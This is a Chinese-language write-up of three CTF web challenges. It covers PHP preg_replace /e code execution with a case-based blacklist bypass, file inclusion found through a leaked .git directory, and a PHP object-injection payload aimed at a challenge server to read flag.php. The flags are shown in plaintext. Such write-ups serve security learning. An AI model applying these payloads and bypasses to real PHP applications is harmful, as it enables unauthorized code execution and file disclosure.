

正则大法好

解题思路:

php的pregreplace函数存在代码执行漏洞

使用 `(.*)/e` 可以导致代码执行, 尝试执行system函数, 发现有waf

Search & Replace

Do the work!

Blacklisted keywords!

这个waf十分简单, 简单的大小写就可以绕过

Search & Replace

Do the work!

ajax.php
assets
flag.php
index.php
ajax.php
assets
flag.php
index.php
index.phpindex.php

Search & Replace

Do the work!

<?php

\$FLAG = "afctf{R3p1Ac3_n0T_S4fE}";
?>
<?php

小希的CG鉴赏室:

解题思路:

首先看网页源码，有一个加密函数

```
<!--
error_reporting(0);
$secret = $_GET['secret'];
function encrypt($data, $key)
{
    $key    =    md5($key);
    $x      =    0;
    $len    =    strlen($data);
    $l      =    strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
            $x = 0;
        }
        $char .= $key{$x};
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
    }
    return base64_encode($str);
}
if(isset($secret) && (encrypt($secret,'#####') === 'rZ6hn9ekycg=')){
    $filename = "#####". ".php";
}
else $filename = "index". ".html";
$filename = explode("\0", $filename)[0]; # Emulate Poison Null Byte for
PHP>=5.3.4
include $filename;
-->
```

有一个比较，但缺少密钥和解密函数

点击下载后，有一个名为.git的隐藏文件夹

使用git log ,git show命令查看，看到了密钥和解密函数


```
<head>
  <title>小希的秘密CG鉴赏室</title>
</head>
<body>








</body>

</html>
```

base64解密这个编码得。这里存在文件包含。

向这个show.php发送index.php的base64加密得index.php的源码

同理可以看其他文件。在mysecret.php中找到flag文件位置

```

1 <!DOCTYPE html>
2 <html>
3 <meta charset="utf-8">
4 <head>
5     <title>小希的秘密CG鉴赏室</title>
6 </head>
7 <body>
8 <?php
9     //mysecret is in fllllAg.php
10 ?>
11 
12 
13 
14 
15 
16 
17 
18 
19 </body>
20
21 </html>

```

查看获得flag

```

<?php
    $flag='afctf{Th1s_1S_my_5ecret}';
?>

```

勇者行动

解题思路：

首先看页面源码

根据提示，传入pass参数。多试几次，在传入大于等于3的数时发现不一样的提示

<p>真正的程序员只会从整数开始找</p>

程序员整数是1024，传入1024，查看源码，有一个base64加密过的字符串
JGZpbGU9Y2xhc3MucGhw

解密是class.php

访问该文件，显示了源码

```
<?php
show_source(__FILE__);
echo '<!-- class HaveFun{public $file = "emm.php";}';
class HaveFun{
    public $file = "emm.php";
    public function __wakeup(){
        if(isset($this->file)){
            include $this->file;
            echo $flag;
        }
        return "yeah!";
    }
}
$pass = $_GET["pass"];
unserialize($pass);
?>
```

是一个反序列化的漏洞。传入构造的序列化类来启动__wakeup函数

```
http://39.108.222.5:43012/class.php?pass=O:7:%22HaveFun%22:1:
{s:4:%22file%22;s:8:%22flag.php%22;}
```

再看源码，得flag

```
<!-- class HaveFun{public $file = "emm.php";} afctf{Just_Hav3_Fun}
```